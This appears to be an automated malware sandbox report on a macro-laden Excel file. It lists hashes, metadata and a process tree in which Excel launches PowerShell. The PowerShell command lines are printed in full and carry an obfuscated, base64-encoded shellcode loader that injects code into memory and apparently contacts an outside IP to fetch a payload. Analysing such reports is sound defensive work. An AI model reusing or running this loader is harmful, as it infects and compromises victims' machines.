File name: | c06d7b42ce0a5d901af8dd538e310046.xlsm |
Full analysis: | https://app.any.run/tasks/805a74af-71b6-4ce3-97b5-9e8720dc31d6 |
Verdict: | Malicious activity |
Analysis date: | February 19, 2019, 09:05:15 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
File info: | Microsoft Excel 2007+ |
MD5: | C06D7B42CE0A5D901AF8DD538E310046 |
SHA1: | 88123979CD3B1DE6C1A133C526EC779AE4D8EEC5 |
SHA256: | F926000AACC44B95AFC47CFF0F754BCF52DA5FE035E7CA09589E544E79341E9A |
SSDEEP: | 12288:4JcdAQut9LPYzKHLkGSMDBmfbyswIQYcWdKLLgLH7ZCR5GB:Q9LPYKvSMDczyXIGWdCLAoR58 |
.xlsm | | | Excel Microsoft Office Open XML Format document (with Macro) (50.8) |
---|---|---|
.xlsx | | | Excel Microsoft Office Open XML Format document (30) |
.zip | | | Open Packaging Conventions container (15.4) |
.zip | | | ZIP compressed archive (3.5) |
Creator: | bjoern |
---|
ModifyDate: | 2019:02:07 05:37:27Z |
---|---|
CreateDate: | 2019:02:05 15:27:08Z |
LastModifiedBy: | bjoern |
AppVersion: | 16.03 |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
Company: | - |
TitlesOfParts: |
|
HeadingPairs: |
|
ScaleCrop: | No |
DocSecurity: | None |
Application: | Microsoft Excel |
ZipFileName: | [Content_Types].xml |
---|---|
ZipUncompressedSize: | 1529 |
ZipCompressedSize: | 409 |
ZipCRC: | 0xe542a139 |
ZipModifyDate: | 1980:01:01 00:00:00 |
ZipCompression: | Deflated |
ZipBitFlag: | 0x0006 |
ZipRequiredVersion: | 20 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3380 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
3660 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /w 1 /C "sv mzq -;sv web ec;sv TdT ((gv mzq).value.toString()+(gv web).value.toString());powershell (gv TdT).value.toString() ('JAB3AFkAPQAnACQAUwBqAD0AJwAnAFsAQQBjAEoAKAAoACIAbQAiACsAIgBzACIAKwAiAHYAYwByAHQALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARwBxAGYAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBBAGMASgAoACIAawAiACsAIgBlACIAKwAiAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABTAEEAWQAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsAQQBjAEoAKAAiAGsAIgArACIAZQAiACsAIgByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABjAHoAaQApADsAWwBBAGMASgAoACIAbQAiACsAIgBzACIAKwAiAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAUwBqAD0AJABTAGoALgByAGUAcABsAGEAYwBlACgAIgBTAEEAWQAiACwAIAAiAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACIAKQA7ACQAUwBqAD0AJABTAGoALgByAGUAcABsAGEAYwBlACgAIgBHAHEAZgAiACwAIAAiAGMAYQBsAGwAIgArACIAbwAiACsAIgBjACIAKQA7ACQAUwBqAD0AJABTAGoALgByAGUAcABsAGEAYwBlACgAIgBBAGMASgAiACwAIAAiAEQAbABsAEkAbQBwAG8AIgArACIAcgAiACsAIgB0ACIAKQA7ACQARgBYAD0AQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgAgACQAUwBqACAALQBOAGEAbQBlACAAIgBnAHIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABMAGUAUwAgAC0AcABhAHMAcwA7ACQASAB2AD0AIgA8AGYAYwAsADwAZQA4ACwAPAA4ADIALAA8ADAAMAAsADwAMAAwACwAPAAwADAALAA8ADYAMAAsADwAOAA5ACwAPABlADUALAA8ADMAMQAsADwAYwAwACwAPAA2ADQALAA8ADgAYgAsADwANQAwACwAPAAzADAALAA8ADgAYgAsADwANQAyACwAPAAwAGMALAA8ADgAYgAsADwANQAyACwAPAAxADQALAA8ADgAYgAsADwANwAyACwAPAAyADgALAA8ADAAZgAsADwAYgA3ACwAPAA0AGEALAA8ADIANgAsADwAMwAxACwAPABmAGYALAA8AGEAYwAsADwAMwBjACwAPAA2ADEALAA8ADcAYwAsADwAMAAyACwAPAAyAGMALAA8ADIAMAAsADwAYwAxACwAPABjAGYALAA8ADAAZAAsADwAMAAxACwAPABjADcALAA8AGUAMgAsADwAZgAyACwAPAA1ADIALAA8ADUANwAsADwAOABiACwAPAA1ADIALAA8ADEAMAAsADwAOABiACwAPAA0AGEALAA8ADMAYwAsADwAOABiACwAPAA0AGMALAA8ADEAMQAsADwANwA4ACwAPABlADMALAA8ADQAOAAsADwAMAAxACwAPABkADEALAA8ADUAMQAsADwAOABiACwAPAA1ADkALAA8ADIAMAAsADwAMAAxACwAPABkADMALAA8ADgAYgAsADwANAA5ACwAPAAxADgALAA8AGUAMwAsADwAMwBhACwAPAA0ADkALAA8ADgAYgAsADwAMwA0ACwAPAA4AGIALAA8ADAAMQAsADwAZAA2ACwAPAAzADEALAA8AGYAZgAsADwAYQBjACwAPABjADEALAA8AGMAZgAsADwAMABkACwAPAAwADEALAA8AGMANwAsADwAMwA4ACwAPABlADAALAA8ADcANQAsADwAZgA2ACwAPAAwADMALAA8ADcAZAAsADwAZgA4ACwAPAAzAGIALAA8ADcAZAAsADwAMgA0ACwAPAA3ADUALAA8AGUANAAsADwANQA4ACwAPAA4AGIALAA8ADUAOAAsADwAMgA0ACwAPAAwADEALAA8AGQAMwAsADwANgA2ACwAPAA4AGIALAA8ADAAYwAsADwANABiACwAPAA4AGIALAA8ADUAOAAsADwAMQBjACwAPAAwADEALAA8AGQAMwAsADwAOABiACwAPAAwADQALAA8ADgAYgAsADwAMAAxACwAPABkADAALAA8ADgAOQAsADwANAA0ACwAPAAyADQALAA8ADIANAAsADwANQBiACwAPAA1AGIALAA8ADYAMQAsADwANQA5ACwAPAA1AGEALAA8ADUAMQAsADwAZgBmACwAPABlADAALAA8ADUAZgAsADwANQBmACwAPAA1AGEALAA8ADgAYgAsADwAMQAyACwAPABlAGIALAA8ADgAZAAsADwANQBkACwAPAA2ADgALAA8ADcANAAsADwANwA0ACwAPAA3ADAALAA8ADAAMAAsADwANgA4ACwAPAA3ADcALAA8ADYAOQAsADwANgBlACwAPAA2ADgALAA8ADUANAAsADwANgA4ACwAPAA0AGMALAA8ADcANwAsADwAMgA2ACwAPAAwADcALAA8AGYAZgAsADwAZAA1ACwAPAAzADEALAA8AGQAYgAsADwANQAzACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA1ADMALAA8ADYAOAAsADwAMAA0ACwAPAAxAGYALAA8ADkAZAAsADwAYgBiACwAPABmAGYALAA8AGQANQAsADwANQAzACwAPAA2ADgALAA8AGIAYgAsADwAMAAxACwAPAAwADAALAA8ADAAMAAsADwAZQA4ACwAPABiAGIALAA8ADAAMAAsADwAMAAwACwAPAAwADAALAA8ADIAZgAsADwAMAAwACwAPAA3ADgALAA8ADAAMAAsADwANQA1ACwAPAAwADAALAA8ADMAOQAsADwAMAAwACwAPAA1ADUALAA8ADAAMAAsADwANAA4ACwAPAAwADAALAA8ADQANwAsADwAMAAwACwAPAA2ADEALAA8ADAAMAAsADwANgAyACwAPAAwADAALAA8ADQAYgAsADwAMAAwACwAPAA0ADcALAA8ADAAMAAsADwANgAyACwAPAAwADAALAA8ADYANgAsADwAMAAwACwAPAAzADIALAA8ADAAMAAsADwANgA0ACwAPAAwADAALAA8ADMANwAsADwAMAAwACwAPAA1ADkALAA8ADAAMAAsADwANgA3ACwAPAAwADAALAA8ADMANAAsADwAMAAwACwAPAA1ADgALAA8ADAAMAAsADwANQA0ACwAPAAwADAALAA8ADQANAAsADwAMAAwACwAPAA0ADEALAA8ADAAMAAsADwAMwA1ACwAPAAwADAALAA8ADYANgAsADwAMAAwACwAPAAzADMALAA8ADAAMAAsADwANQA0ACwAPAAwADAALAA8ADUAZgAsADwAMAAwACwAPAA2AGMALAA8ADAAMAAsADwANwA2ACwAPA'+'AwADAALAA8ADAAMAAsADwAMAAwACwAPAA1ADAALAA8ADYAOAAsADwANAA2ACwAPAA5AGIALAA8ADEAZQAsADwAYwAyACwAPABmAGYALAA8AGQANQAsADwANgA4ACwAPAAwADAALAA8ADAAMQAsADwAMAAwACwAPAAwADAALAA8ADUAMwAsADwANQAzACwAPAA1ADMALAA8ADUANwAsADwANQAzACwAPAA1ADAALAA8ADYAOAAsADwAOQA4ACwAPAAxADAALAA8AGIAMwAsADwANQBiACwAPABmAGYALAA8AGQANQAsADwAOQA2ACwAPAA2AGEALAA8ADAAMQAsADwANQBmACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA1ADYALAA8ADYAOAAsADwAOQA1ACwAPAA1ADgALAA8AGIAYgAsADwAOQAxACwAPABmAGYALAA8AGQANQAsADwAOAA1ACwAPABjADAALAA8ADcANQAsADwAMABhACwAPAA0AGYALAA8ADcANQAsADwAZQBiACwAPAA2ADgALAA8AGYAMAAsADwAYgA1ACwAPABhADIALAA8ADUANgAsADwAZgBmACwAPABkADUALAA8ADUAMwAsADwANQA2ACwAPAA2ADgALAA8ADAANQAsADwAOAA4ACwAPAA5AGQALAA8ADcAMAAsADwAZgBmACwAPABkADUALAA8ADgANQAsADwAYwAwACwAPAA3ADQALAA8AGUAYwAsADwANgBhACwAPAA0ADAALAA8ADYAOAAsADwAMAAwACwAPAAxADAALAA8ADAAMAAsADwAMAAwACwAPAA2ADgALAA8ADAAMAAsADwAMAAwACwAPAA0ADAALAA8ADAAMAAsADwANQAzACwAPAA2ADgALAA8ADUAOAAsADwAYQA0ACwAPAA1ADMALAA8AGUANQAsADwAZgBmACwAPABkADUALAA8ADkAMwAsADwANQAzACwAPAA1ADMALAA8ADgAOQAsADwAZQA3ACwAPAA1ADcALAA8ADYAOAAsADwAMAAwACwAPAAyADAALAA8ADAAMAAsADwAMAAwACwAPAA1ADMALAA8ADUANgAsADwANgA4ACwAPAA2AGMALAA8ADIAOQAsADwAMgA0ACwAPAA3AGUALAA8AGYAZgAsADwAZAA1ACwAPAA4ADUALAA8AGMAMAAsADwANwA0ACwAPABjADAALAA8ADgAYgAsADwAMAA3ACwAPAAwADEALAA8AGMAMwAsADwAOAA1ACwAPABjADAALAA8ADcANQAsADwAZQA1ACwAPAA1ADgALAA8AGMAMwAsADwANQBmACwAPABlADgALAA8ADcAZAAsADwAZgBmACwAPABmAGYALAA8AGYAZgAsADwAMwAxACwAPAAwADAALAA8ADMANgAsADwAMAAwACwAPAAzADkALAA8ADAAMAAsADwAMgBlACwAPAAwADAALAA8ADMANQAsADwAMAAwACwAPAAzADAALAA8ADAAMAAsADwAMgBlACwAPAAwADAALAA8ADMAOAAsADwAMAAwACwAPAAzADYALAA8ADAAMAAsADwAMgBlACwAPAAwADAALAA8ADMAMgAsADwAMAAwACwAPAAzADEALAA8ADAAMAAsADwAMwAzACwAPAAwADAALAA8ADAAMAAsADwAMAAwACIAOwAkAEYAWAA9ACQARgBYAC4AcgBlAHAAbABhAGMAZQAoACIATABlAFMAIgAsACAAIgBXACIAKwAiAGkAIgArACIAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIgApADsAWwBiAHkAdABlAFsAXQBdACQASAB2ACAAPQAgACQASAB2AC4AcgBlAHAAbABhAGMAZQAoACIAPAAiACwAIgAwAHgAIgApAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACQAVwBTAD0AMAB4ADEAMAAwADUAOwBpAGYAIAAoACQASAB2AC4ATAAgAC0AZwB0ACAAMAB4ADEAMAAwADUAKQB7ACQAVwBTAD0AJABIAHYALgBMAH0AOwAkAFUAQgA9ACQARgBYADoAOgBjAGEAbABsAG8AYwAoADAAeAAxADAAMAA1ACwAIAAxACkAOwBbAFUASQBuAHQANgA0AF0AJABjAHoAaQAgAD0AIAAwADsAZgBvAHIAKAAkAEYAUgA9ADAAOwAkAEYAUgAgAC0AbABlACgAJABIAHYALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQARgBSACsAKwApAHsAJABGAFgAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABVAEIALgBUAG8ASQBuAHQAMwAyACgAKQArACQARgBSACkALAAgACQASAB2AFsAJABGAFIAXQAsACAAMQApAH0AOwAkAEYAWAA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABVAEIALAAgADAAeAAxADAAMAA1ACwAIAAwAHgANAAwACwAIABbAFIAZQBmAF0AJABjAHoAaQApADsAJABGAFgAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAAeAAwADAALAAkAFUAQgAsADAALAAwACwAMAApADsAJwA7ACQAVwBDAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJAB3AFkAKQApADsAJABOAEYAPQAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7ACQATgBNAD0AIgBXAGkAbgBkAG8AdwBzACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQATgBGAD0AIgBDADoAXAAkAE4ATQBcAHMAeQBzAHcAbwB3ADYANABcACQATgBNACQATgBGAFwAdgAxAC4AMABcACQATgBGACIAfQA7AGkAZQB4ACAAIgAgACQATgBGACAALQBlACAAJABXAEMAIAAtAG4AbwBlACIA')" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2736 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JAB3AFkAPQAnACQAUwBqAD0AJwAnAFsAQQBjAEoAKAAoACIAbQAiACsAIgBzACIAKwAiAHYAYwByAHQALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARwBxAGYAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBBAGMASgAoACIAawAiACsAIgBlACIAKwAiAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABTAEEAWQAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsAQQBjAEoAKAAiAGsAIgArACIAZQAiACsAIgByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABjAHoAaQApADsAWwBBAGMASgAoACIAbQAiACsAIgBzACIAKwAiAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAUwBqAD0AJABTAGoALgByAGUAcABsAGEAYwBlACgAIgBTAEEAWQAiACwAIAAiAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACIAKQA7ACQAUwBqAD0AJABTAGoALgByAGUAcABsAGEAYwBlACgAIgBHAHEAZgAiACwAIAAiAGMAYQBsAGwAIgArACIAbwAiACsAIgBjACIAKQA7ACQAUwBqAD0AJABTAGoALgByAGUAcABsAGEAYwBlACgAIgBBAGMASgAiACwAIAAiAEQAbABsAEkAbQBwAG8AIgArACIAcgAiACsAIgB0ACIAKQA7ACQARgBYAD0AQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgAgACQAUwBqACAALQBOAGEAbQBlACAAIgBnAHIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABMAGUAUwAgAC0AcABhAHMAcwA7ACQASAB2AD0AIgA8AGYAYwAsADwAZQA4ACwAPAA4ADIALAA8ADAAMAAsADwAMAAwACwAPAAwADAALAA8ADYAMAAsADwAOAA5ACwAPABlADUALAA8ADMAMQAsADwAYwAwACwAPAA2ADQALAA8ADgAYgAsADwANQAwACwAPAAzADAALAA8ADgAYgAsADwANQAyACwAPAAwAGMALAA8ADgAYgAsADwANQAyACwAPAAxADQALAA8ADgAYgAsADwANwAyACwAPAAyADgALAA8ADAAZgAsADwAYgA3ACwAPAA0AGEALAA8ADIANgAsADwAMwAxACwAPABmAGYALAA8AGEAYwAsADwAMwBjACwAPAA2ADEALAA8ADcAYwAsADwAMAAyACwAPAAyAGMALAA8ADIAMAAsADwAYwAxACwAPABjAGYALAA8ADAAZAAsADwAMAAxACwAPABjADcALAA8AGUAMgAsADwAZgAyACwAPAA1ADIALAA8ADUANwAsADwAOABiACwAPAA1ADIALAA8ADEAMAAsADwAOABiACwAPAA0AGEALAA8ADMAYwAsADwAOABiACwAPAA0AGMALAA8ADEAMQAsADwANwA4ACwAPABlADMALAA8ADQAOAAsADwAMAAxACwAPABkADEALAA8ADUAMQAsADwAOABiACwAPAA1ADkALAA8ADIAMAAsADwAMAAxACwAPABkADMALAA8ADgAYgAsADwANAA5ACwAPAAxADgALAA8AGUAMwAsADwAMwBhACwAPAA0ADkALAA8ADgAYgAsADwAMwA0ACwAPAA4AGIALAA8ADAAMQAsADwAZAA2ACwAPAAzADEALAA8AGYAZgAsADwAYQBjACwAPABjADEALAA8AGMAZgAsADwAMABkACwAPAAwADEALAA8AGMANwAsADwAMwA4ACwAPABlADAALAA8ADcANQAsADwAZgA2ACwAPAAwADMALAA8ADcAZAAsADwAZgA4ACwAPAAzAGIALAA8ADcAZAAsADwAMgA0ACwAPAA3ADUALAA8AGUANAAsADwANQA4ACwAPAA4AGIALAA8ADUAOAAsADwAMgA0ACwAPAAwADEALAA8AGQAMwAsADwANgA2ACwAPAA4AGIALAA8ADAAYwAsADwANABiACwAPAA4AGIALAA8ADUAOAAsADwAMQBjACwAPAAwADEALAA8AGQAMwAsADwAOABiACwAPAAwADQALAA8ADgAYgAsADwAMAAxACwAPABkADAALAA8ADgAOQAsADwANAA0ACwAPAAyADQALAA8ADIANAAsADwANQBiACwAPAA1AGIALAA8ADYAMQAsADwANQA5ACwAPAA1AGEALAA8ADUAMQAsADwAZgBmACwAPABlADAALAA8ADUAZgAsADwANQBmACwAPAA1AGEALAA8ADgAYgAsADwAMQAyACwAPABlAGIALAA8ADgAZAAsADwANQBkACwAPAA2ADgALAA8ADcANAAsADwANwA0ACwAPAA3ADAALAA8ADAAMAAsADwANgA4ACwAPAA3ADcALAA8ADYAOQAsADwANgBlACwAPAA2ADgALAA8ADUANAAsADwANgA4ACwAPAA0AGMALAA8ADcANwAsADwAMgA2ACwAPAAwADcALAA8AGYAZgAsADwAZAA1ACwAPAAzADEALAA8AGQAYgAsADwANQAzACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA1ADMALAA8ADYAOAAsADwAMAA0ACwAPAAxAGYALAA8ADkAZAAsADwAYgBiACwAPABmAGYALAA8AGQANQAsADwANQAzACwAPAA2ADgALAA8AGIAYgAsADwAMAAxACwAPAAwADAALAA8ADAAMAAsADwAZQA4ACwAPABiAGIALAA8ADAAMAAsADwAMAAwACwAPAAwADAALAA8ADIAZgAsADwAMAAwACwAPAA3ADgALAA8ADAAMAAsADwANQA1ACwAPAAwADAALAA8ADMAOQAsADwAMAAwACwAPAA1ADUALAA8ADAAMAAsADwANAA4ACwAPAAwADAALAA8ADQANwAsADwAMAAwACwAPAA2ADEALAA8ADAAMAAsADwANgAyACwAPAAwADAALAA8ADQAYgAsADwAMAAwACwAPAA0ADcALAA8ADAAMAAsADwANgAyACwAPAAwADAALAA8ADYANgAsADwAMAAwACwAPAAzADIALAA8ADAAMAAsADwANgA0ACwAPAAwADAALAA8ADMANwAsADwAMAAwACwAPAA1ADkALAA8ADAAMAAsADwANgA3ACwAPAAwADAALAA8ADMANAAsADwAMAAwACwAPAA1ADgALAA8ADAAMAAsADwANQA0ACwAPAAwADAALAA8ADQANAAsADwAMAAwACwAPAA0ADEALAA8ADAAMAAsADwAMwA1ACwAPAAwADAALAA8ADYANgAsADwAMAAwACwAPAAzADMALAA8ADAAMAAsADwANQA0ACwAPAAwADAALAA8ADUAZgAsADwAMAAwACwAPAA2AGMALAA8ADAAMAAsADwANwA2ACwAPAAwADAALAA8ADAAMAAsADwAMAAwACwAPAA1ADAALAA8ADYAOAAsADwANAA2ACwAPAA5AGIALAA8ADEAZQAsADwAYwAyACwAPABmAGYALAA8AGQANQAsADwANgA4ACwAPAAwADAALAA8ADAAMQAsADwAMAAwACwAPAAwADAALAA8ADUAMwAsADwANQAzACwAPAA1ADMALAA8ADUANwAsADwANQAzACwAPAA1ADAALAA8ADYAOAAsADwAOQA4ACwAPAAxADAALAA8AGIAMwAsADwANQBiACwAPABmAGYALAA8AGQANQAsADwAOQA2ACwAPAA2AGEALAA8ADAAMQAsADwANQBmACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA1ADMALAA8ADUAMwAsADwANQAzACwAPAA1ADYALAA8ADYAOAAsADwAOQA1ACwAPAA1ADgALAA8AGIAYgAsADwAOQAxACwAPABmAGYALAA8AGQANQAsADwAOAA1ACwAPABjADAALAA8ADcANQAsADwAMABhACwAPAA0AGYALAA8ADcANQAsADwAZQBiACwAPAA2ADgALAA8AGYAMAAsADwAYgA1ACwAPABhADIALAA8ADUANgAsADwAZgBmACwAPABkADUALAA8ADUAMwAsADwANQA2ACwAPAA2ADgALAA8ADAANQAsADwAOAA4ACwAPAA5AGQALAA8ADcAMAAsADwAZgBmACwAPABkADUALAA8ADgANQAsADwAYwAwACwAPAA3ADQALAA8AGUAYwAsADwANgBhACwAPAA0ADAALAA8ADYAOAAsADwAMAAwACwAPAAxADAALAA8ADAAMAAsADwAMAAwACwAPAA2ADgALAA8ADAAMAAsADwAMAAwACwAPAA0ADAALAA8ADAAMAAsADwANQAzACwAPAA2ADgALAA8ADUAOAAsADwAYQA0ACwAPAA1ADMALAA8AGUANQAsADwAZgBmACwAPABkADUALAA8ADkAMwAsADwANQAzACwAPAA1ADMALAA8ADgAOQAsADwAZQA3ACwAPAA1ADcALAA8ADYAOAAsADwAMAAwACwAPAAyADAALAA8ADAAMAAsADwAMAAwACwAPAA1ADMALAA8ADUANgAsADwANgA4ACwAPAA2AGMALAA8ADIAOQAsADwAMgA0ACwAPAA3AGUALAA8AGYAZgAsADwAZAA1ACwAPAA4ADUALAA8AGMAMAAsADwANwA0ACwAPABjADAALAA8ADgAYgAsADwAMAA3ACwAPAAwADEALAA8AGMAMwAsADwAOAA1ACwAPABjADAALAA8ADcANQAsADwAZQA1ACwAPAA1ADgALAA8AGMAMwAsADwANQBmACwAPABlADgALAA8ADcAZAAsADwAZgBmACwAPABmAGYALAA8AGYAZgAsADwAMwAxACwAPAAwADAALAA8ADMANgAsADwAMAAwACwAPAAzADkALAA8ADAAMAAsADwAMgBlACwAPAAwADAALAA8ADMANQAsADwAMAAwACwAPAAzADAALAA8ADAAMAAsADwAMgBlACwAPAAwADAALAA8ADMAOAAsADwAMAAwACwAPAAzADYALAA8ADAAMAAsADwAMgBlACwAPAAwADAALAA8ADMAMgAsADwAMAAwACwAPAAzADEALAA8ADAAMAAsADwAMwAzACwAPAAwADAALAA8ADAAMAAsADwAMAAwACIAOwAkAEYAWAA9ACQARgBYAC4AcgBlAHAAbABhAGMAZQAoACIATABlAFMAIgAsACAAIgBXACIAKwAiAGkAIgArACIAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIgApADsAWwBiAHkAdABlAFsAXQBdACQASAB2ACAAPQAgACQASAB2AC4AcgBlAHAAbABhAGMAZQAoACIAPAAiACwAIgAwAHgAIgApAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACQAVwBTAD0AMAB4ADEAMAAwADUAOwBpAGYAIAAoACQASAB2AC4ATAAgAC0AZwB0ACAAMAB4ADEAMAAwADUAKQB7ACQAVwBTAD0AJABIAHYALgBMAH0AOwAkAFUAQgA9ACQARgBYADoAOgBjAGEAbABsAG8AYwAoADAAeAAxADAAMAA1ACwAIAAxACkAOwBbAFUASQBuAHQANgA0AF0AJABjAHoAaQAgAD0AIAAwADsAZgBvAHIAKAAkAEYAUgA9ADAAOwAkAEYAUgAgAC0AbABlACgAJABIAHYALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQARgBSACsAKwApAHsAJABGAFgAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABVAEIALgBUAG8ASQBuAHQAMwAyACgAKQArACQARgBSACkALAAgACQASAB2AFsAJABGAFIAXQAsACAAMQApAH0AOwAkAEYAWAA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABVAEIALAAgADAAeAAxADAAMAA1ACwAIAAwAHgANAAwACwAIABbAFIAZQBmAF0AJABjAHoAaQApADsAJABGAFgAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAAeAAwADAALAAkAFUAQgAsADAALAAwACwAMAApADsAJwA7ACQAVwBDAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJAB3AFkAKQApADsAJABOAEYAPQAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7ACQATgBNAD0AIgBXAGkAbgBkAG8AdwBzACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQATgBGAD0AIgBDADoAXAAkAE4ATQBcAHMAeQBzAHcAbwB3ADYANABcACQATgBNACQATgBGAFwAdgAxAC4AMABcACQATgBGACIAfQA7AGk